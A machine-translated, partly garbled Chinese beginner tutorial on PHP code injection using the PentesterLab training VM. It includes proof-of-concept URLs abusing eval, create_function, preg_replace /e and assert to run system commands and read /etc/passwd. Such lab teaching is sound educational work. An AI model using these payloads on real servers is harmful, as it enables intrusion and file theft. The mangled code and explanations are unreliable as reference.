*作者:婷儿,本文属于FreeBuf原创获奖方案,未经许可禁止转载。
戊烯实验室简介
针对pentester的Web是国外安全研究人员开发的渗透测试平台。
该平台包含的主要漏洞如下:
代码注入(代码注入)
命令注入(命令行注入)
XSS(跨站点脚本)
sql注入(SQL注入)
文件包含(文件包含)
LDAP攻击(LDAP攻击)
文件上传(文件上传)
可扩展标记语言攻击
个人感觉不错,但是国内基本没有教程,官网的教程也有点贵,打算在pentesterLab上写全套教程。PentesterLab上的web漏洞感觉比较典型,比较基础,非常适合新手。因为这个教程是给新手看的,不要觉得我有些地方重复,呵呵。
PentesterLab安装
安装方法很简单。官方网站下载ios映像并直接安装到虚拟机中。
官网地址&:下载地址
代码注入(代码注入)
本文介绍了代码注入的内容,其他模块教程将在后面给出。
php代码注入漏洞的主要原因是过滤不严格,导致恶意代码被执行。这个漏洞主要是由于函数的参数过滤不严谨造成的,严重的话可以直接写入webshell。
示例1
后端代码
";eval($ str);?>。
代码解释
Php将获取参数拼接到$str变量中,然后eval()函数执行php语句。没有过滤,只要最终语法正确,就可以执行。
注意:注释的代码是我自己添加的,也可以自己添加,比较直观。默认情况下会添加以下代码。
不知道大家有没有注意到这里。如果你构造的语句有问题,网页会报错。错误信息如下:
分析错误:语法错误,意外的' & lt'in/var/www/codeexec/example 1 . PHP(13):eval()' d第1行代码
暴露了当前php文件的绝对路径和错误报告功能,这也是一个有用的信息。
利用模式
1.执行系统命令
POC:http://192 . 168 . 199 . 110/code exec/example 1 . PHP?名称= % 22 . system(% 27ls % 27);//注意:我敲黑板了。`//`这是php中的注释符号。请评论以下陈述。http://192 . 168 . 199 . 110/code exec/example 1 . PHP?名称= % 22 . system(% 27ls % 27);%20$a=%22注意:这没问题,`;`表示单个语句,后面无用的值赋给一个变量,起到注释的作用。在这个sql注入中,用和' 1' = '1来结束单引号也是同样的原因。以上返回页面:回显“你好”。系统(' ls ');$a= "!!!";example1.php example2.php example3.php example4.php index.html你好index.html http://192 . 168 . 199 . 110/codeexec/example 1 . PHP?名称= % 22 . system(' cat/etc/passwd ');//检查系统密钥文件
再敲黑板
有些新生可能会问echo“你好”。系统(' ls ');这个语句中的点是字符串拼接。不应该返回Hello+ls的结果吗?为什么这里的返回值不是这样。在这里,我给新生简单介绍一下科普。
举个栗子:
echo ' 1+3 = . 1+3。输出结果是4
echo ' 1+3 = . 3+1,输出结果为2
如上图所示,php会先拼接字符串,然后强制它们为int,然后计算输出结果。
拼接字符串得到1+3=1,强制转换int类型得到1,然后计算1+3得到4,那么输出结果就是4,和上面差不多,不要深究这方面,有输出就好。
例2
后端代码
name = $ name$this->。age = $ age$this->。id = $ id} } require_once('../header . PHP ');require_once('../sqli/db . PHP ');$sql = "SELECT * FROM用户";$ order = $ _ GET[" order "];$ result = MySQL _ query($ SQL);if($ result){ while($ row = MySQL _ fetch _ assoc($ result)){ $ users[]= new User($ row[' id '],$row['name'],$ row[' age ']);} if(isset($ order)){ usort($ users,create_function('$a,$b ',' return str CMP($ a-& gt;'。$订单。,$b->'。$订单。');'));} } ?>。id名称年龄";回声" "。$ user->;id。";回声" "。$ user->;姓名。”";回声" "。$ user->;年龄。”";echo} echo要求../footer . PHP ';?>。
代码分析
Usort()使用用户定义的比较函数对数组进行排序。语法:usort(array,my function);
Usort()经常与函数create_function一起使用,根据用户控制的信息动态生成“分类”函数。如果Web应用程序缺乏有效的过滤和验证,可能会导致代码执行。
所以我们关注这一行代码:usort ($ users,create _ function ('$ a,$ b ',' return strcmp ($ a-> ')。$订单。,$b->'。$订单。');'));可能新同学也说听不懂。别急,先举个例子:
Craete _ function ('$ a ',' echo ' hello '。$ a)实际上相当于:
函数Hello($a) { echo 'Hello。$ a;}
前面部分是函数变量部分,后面部分是代码部分。前面的变量被传递给后面的参数。
我们来看一个由浅入深的官方例子:
看起来一样吗?是将前面的变量带入下面的代码中执行。
然后让我们回头看看源代码:
if (isset($order)) { usort($users,create_function('$a,$b ',' return str CMP($ a-& gt;'。$订单。,$b->'。$订单。');'));}
您可以看到,这里唯一可控的变量是$order,我们自然会想到,我们可以关闭前面的语句,插入我们想要执行的代码,就像sql注入一样。
因此,尝试按如下方式关闭结构:
?order = id}//错误报告parseerror:语法错误,意外的“;”我们可能遗漏了一个或多个括号。
?order = id);}//WARNING WARNING: strcmp()期望精确的2个参数,1Given不是语法错误,所以这应该是可行的。
?order = id));}//继续添加圆括号,并报告错误:parse error:语法错误,意外的')'应该是多个圆括号的原因。
我们知道如何关闭上面的代码,并添加我们想要执行的代码。警告只是警告,代码还是会执行。
使用方法
poc:
看phpinfo()http://192 . 168 . 199 . 110/code exec/example 2 . PHP?order = id);} phpinfo();//检查敏感文件passwd http://192 . 168 . 199 . 110/codeexec/example 2 . PHP?order = id);}系统(cat % 20/etc/passwd);//示例3
后端代码
代码分析
Preg_replace()函数:
混合preg_replace(混合$模式,混合$替换,混合$主题[,int $limit = -1 [,int & amp$count ]])搜索主题中与模式匹配的部分,并用替换替换它。
参数描述:
$pattern:要搜索的模式,可以是字符串或字符串数组。
$replacement:用于替换的字符串或字符串数组。
$subject:要搜索替换的目标字符串或字符串数组。
$limit:可选,每个模式的每个主题字符串的最大可替换次数。默认值为-1(无限制)。
$count:可选,执行替换的次数。
这里的主要功能是匹配基参数中是否有模式,并用new替换。
按如下方式打开连接url
http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = hacker & amppattern =/lamer/& amp;base = Hello % 20lamer
带入preg_replace()函数的三个参数是可控的,那么如何使用呢?别急,先明白这个:
/e修饰符使preg_replace()以php代码的形式执行替换参数,前提是主题中存在模式匹配。
使用方法
了解了以上内容,我们在pattern参数中添加/e修饰符,使模式在主题中匹配,并将替换改为phpinfo()。
按照以下方式构建概念验证:
http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = phpinfo()& amp;pattern =/lamer/e & amp;base = Hello % 20lamer
也可以执行系统功能。poc如下:
http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = system(' ls ')& amp;pattern =/lamer/e & amp;base = Hello % 20 Amer http://192 . 168 . 199 . 110/codeexec/example 3 . PHP?new = system(' whoami ')& amp;pattern =/lamer/e & amp;base = Hello % 20 Amer http://192 . 168 . 199 . 110/codeexec/example 3 . PHP?new =系统(cat /etc/passwd)和amppattern =/lamer/e & amp;base = Hello % 20lamer
注意:PHP 5.5版以上,preg_replace函数中的修饰符/e被放弃,改为preg_replace _callback
例4
后端代码
代码分析
看到assert函数时要小心。断言函数和评估函数都是一句话的后门。区别在于eval函数中的参数是字符串,assert函数中的参数是表达式或函数。
trim()函数删除字符串两边的空白色字符或其他预定义字符。
函数的作用是:将字符串转换成html实体。
提示:加单引号是报表报错时的绝对路径和报错功能。错误报告如下:
解析错误:语法错误,在/var/www/codeexec/example4.php(4)中出现意外的T _ ENCAFODED _ AND _ GASPACES:在第1行中断言代码可捕获的致命错误:assert():评估代码失败:在/var/www/code exec/example 4 . PHP的第4行中出现“hacker”
使用方法
尝试构造相应的语句,使上述语法正确,添加单引号来报告错误,使用参数hacker“.”,语法正确,并且没有报告错误。然后尝试构造phpinfo(),得到poc如下:
http://192 . 168 . 199 . 110/code exec/example 4 . PHP?' name=hacker '。' phpinfo(),'
找到正确的语法关闭模式后,我们还可以查看如上的passwd文件,poc:
http://192 . 168 . 199 . 110/code exec/example 4 . PHP?名称总结=黑客’。“系统(cat/etc/passwd)。”
有人可能会问代码注入和命令行注入有什么区别。个人感觉两者联系很大,代码注入涉及面很广。任何由于过滤不严或逻辑问题而可以插入的恶意代码都属于代码注入。但是命令注入由于系统功能过滤不严格,仅限于系统命令的实现。
简而言之,代码注入主要是执行php代码,而命令注入主要是执行系统命令。
还有一点不知道大家有没有注意到,有时候页面错误信息真的能给你提供很多有用的信息。
下次更新到Command注入,因为这两个很容易类比学习。
最后,如果你有更好的实现方法或者操作,或者我有需要改进的地方,欢迎大牛指出。如果有新同学有什么问题,欢迎在评论区随意提问。谢谢你。
*作者:婷儿,本文属于FreeBuf原创获奖方案,未经许可禁止转载。
1.《代码教程 PentesterLab新手教程(一):代码注入》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《代码教程 PentesterLab新手教程(一):代码注入》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/caijing/798694.html